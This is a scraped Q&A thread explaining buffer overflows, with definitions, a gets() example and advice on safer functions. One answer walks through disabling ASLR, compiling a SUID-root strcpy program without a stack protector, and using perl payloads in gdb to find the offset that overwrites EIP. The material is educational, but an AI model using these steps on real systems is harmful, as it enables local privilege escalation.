What is a buffer overflow and how do I cause one?

前端 未结 12 1878
盖世英雄少女心
盖世英雄少女心 2020-11-30 00:43

I have heard about a buffer overflow and I would like to know how to cause one.

Can someone show me a small buffer overflow example? New(And what they are used for?)

相关标签:
12条回答
  • 2020-11-30 01:04

    In this context, a buffer is a portion of memory set aside for a particular purpose, and a buffer overflow is what happens when a write operation into the buffer keeps going past the end (writing into memory which has a different purpose). This is always a bug.

    A buffer overflow attack is one which uses this bug to accomplish something that the program's author didn't intend to be possible.

    0 讨论(0)
  • 2020-11-30 01:05

    Buffer overflow is the insertion of characters beyond what the allocated memory can hold.

    0 讨论(0)
  • 2020-11-30 01:06

    Classical example of a buffer-overflow:

    // noone will ever have the time to type more than 64 characters...
    char buf[64];
    gets(buf); // let user put his name
    

    The buffer overflow alone does most often not happen purposely. It happens most often because of a so-called "off-by-one" error. Meaning you have mis-calculated the array-size by one - maybe because you forgot to account for a terminating null character, or because some other stuff.

    But it can also be used for some evil stuff. Indeed, the user long knew this hole, and then inserts say 70 characters, with the last ones containing some special bytes which overwrite some stack-slot - if the user is really tricky he/she will hit the return-address slot in the stack, and overwrites it so it jumps forward into that just inserted buffer: Because what the user entered was not his name, but his shell-code that he previously compiled and dumped out. That one will then just executed. There are some problems. For example, you have to arrange not to have a "\n" in that binary code (because gets would stop reading there). For other ways that mess with dangerous string functions, the binary zero is problematic because string functions stop copying there to the buffer. People have used xor with two times the same value to produce a zero too, without writing a zero byte explicitly.

    That's the classic way of doing it. But there are some security blocks that can tell that such things happened and other stuff that make the stack non-executable. But i guess there are way better tricks than i just explained. Some assembler guy could probably now tell you long stories about that :)

    How to avoid it

    Always use functions that take a maximal-length argument too, if you are not 100% sure that a buffer is really large enough. Don't play such games as "oh, the number will not exceed 5 characters" - it will fail some day. Remember that one rocket where scientists said that the number will not exceed some magnitude, because the rocket would never be that fast. But some day, it was actually faster, and what resulted was an integer overflow and the rocket crashed (it's about a bug in Ariane 5, one of the most expensive Computer bugs in history).

    For example, instead of gets use fgets. And instead of sprintf use snprintf where suitable and available (or just the C++ style things like istream and stuff)

    0 讨论(0)
  • 2020-11-30 01:11

    This should be enought to reproduce it:

    void buffer_overflow() 
    {
        char * foo = "foo";
        char buffer[10];
    
        for(int it = 0; it < 1000; it++) {
            buffer[it] = '*';
        }
    
        char accessViolation = foo[0];
    }
    
    0 讨论(0)
  • 2020-11-30 01:13

    In the modern linux OS you can't made exploiting buffer overflow without some EXTRA experiment. why ? because you will be blocked by ASLR (Address Stack Layer Randomization) and stack protector in this modern GNU C compiler. you will not locate memory easily because memory will fall into random memory caused by ASLR. and you will blocked by stack protector if you try to overflow the program.

    For begining you need to put of ASLR to be 0 default value is 2

    root@bt:~# cat /proc/sys/kernel/randomize_va_space
    2
    root@bt:~# echo 0 > /proc/sys/kernel/randomize_va_space
    root@bt:~# cat /proc/sys/kernel/randomize_va_space
    0
    root@bt:~#
    

    in this is case not about OLD STYLE buffer overflow tutorial you may got from internet. or aleph one tutorial will not work anymore in your system now.

    now lets make a program vulnerability to buffer overflow scenario

    ---------------------bof.c--------------------------
    #include <stdio.h>
    #include <string.h>
    
    int main(int argc, char** argv)
    {
            char buffer[400];
            strcpy(buffer, argv[1]);
    
            return 0;
    }
    ---------------------EOF-----------------------------
    

    looks at strcpy function is dangerous without stack protector, because function without checking how many bytes we will input. compile with extra option -fno-stack-protector dan -mpreferred-stack-boundary=2 for take off stack protector in your C program

    root@bt:~# gcc -g -o bof -fno-stack-protector -mpreferred-stack-boundary=2 bof.c
    root@bt:~# chown root:root bof
    root@bt:~# chmod 4755 bof
    

    buffer overflow C program with SUID root access scenatio now we have make it. now lets search how many bytes we need to put into buffer to made a program segmentation fault

    root@bt:~# ./bof `perl -e 'print "A" x 400'`
    root@bt:~# ./bof `perl -e 'print "A" x 403'`
    root@bt:~# ./bof `perl -e 'print "A" x 404'`
    Segmentation fault
    root@bt:~#
    

    you see we need 404 bytes to made program segmentation fault (crash) now how many bytes we need to overwrite EIP ? EIP is instruction will be executed after. so hacker do overwrite EIP to evil instruction what they want in the binary SUID on the program. if the program in the SUID root, the instruction will be runned in root access.

    root@bt:~# gdb -q bof
    (gdb) list
    1       #include <stdio.h>
    2       #include <string.h>
    3
    4       int main(int argc, char** argv)
    5       {
    6               char buffer[400];
    7               strcpy(buffer, argv[1]);
    8
    9               return 0;
    10      }
    (gdb) run `perl -e 'print "A" x 404'`
    Starting program: /root/bof `perl -e 'print "A" x 404'`
    
    Program received signal SIGSEGV, Segmentation fault.
    0xb7e86606 in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6
    (gdb) run `perl -e 'print "A" x 405'`
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    Starting program: /root/bof `perl -e 'print "A" x 405'`
    
    Program received signal SIGSEGV, Segmentation fault.
    0xb7e800a9 in ?? () from /lib/tls/i686/cmov/libc.so.6
    (gdb)
    

    program GOT segmentation fault return code. let's input more bytes and take see to EIP register.

    (gdb) run `perl -e 'print "A" x 406'`
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    Starting program: /root/bof `perl -e 'print "A" x 406'`
    
    Program received signal SIGSEGV, Segmentation fault.
    0xb7004141 in ?? ()
    (gdb)
    
    (gdb) run `perl -e 'print "A" x 407'`
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    Starting program: /root/bof `perl -e 'print "A" x 407'`
    
    Program received signal SIGSEGV, Segmentation fault.
    0x00414141 in ?? ()
    (gdb)
    

    little more

    (gdb) run `perl -e 'print "A" x 408'`
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    Starting program: /root/bof `perl -e 'print "A" x 408'`
    
    Program received signal SIGSEGV, Segmentation fault.
    0x41414141 in ?? ()
    (gdb)
    
    (gdb) i r
    eax            0x0      0
    ecx            0xbffff0b7       -1073745737
    edx            0x199    409
    ebx            0xb7fc9ff4       -1208180748
    esp            0xbffff250       0xbffff250
    ebp            0x41414141       0x41414141
    esi            0x8048400        134513664
    edi            0x8048310        134513424
    eip            0x41414141       0x41414141 <-- overwriten !!
    eflags         0x210246 [ PF ZF IF RF ID ]
    cs             0x73     115
    ss             0x7b     123
    ds             0x7b     123
    es             0x7b     123
    fs             0x0      0
    gs             0x33     51
    (gdb)
    

    now you can do your next step...

    0 讨论(0)
  • 2020-11-30 01:18

    In addition to what has already been said, keep in mind that you'r program may or may not "crash" when a buffer overflow occurs. It should crash, and you should hope it does - but if the buffer overflow "overflows" into another address that your application has also allocated - your application may appear to operate normally for a longer period of time.

    If you are using a later edition of Microsoft Visual Studio - I would suggest using the new secure counterparts in the stdlib, such as sprintf_s insted of sprintf, ect...

    0 讨论(0)
提交回复
热议问题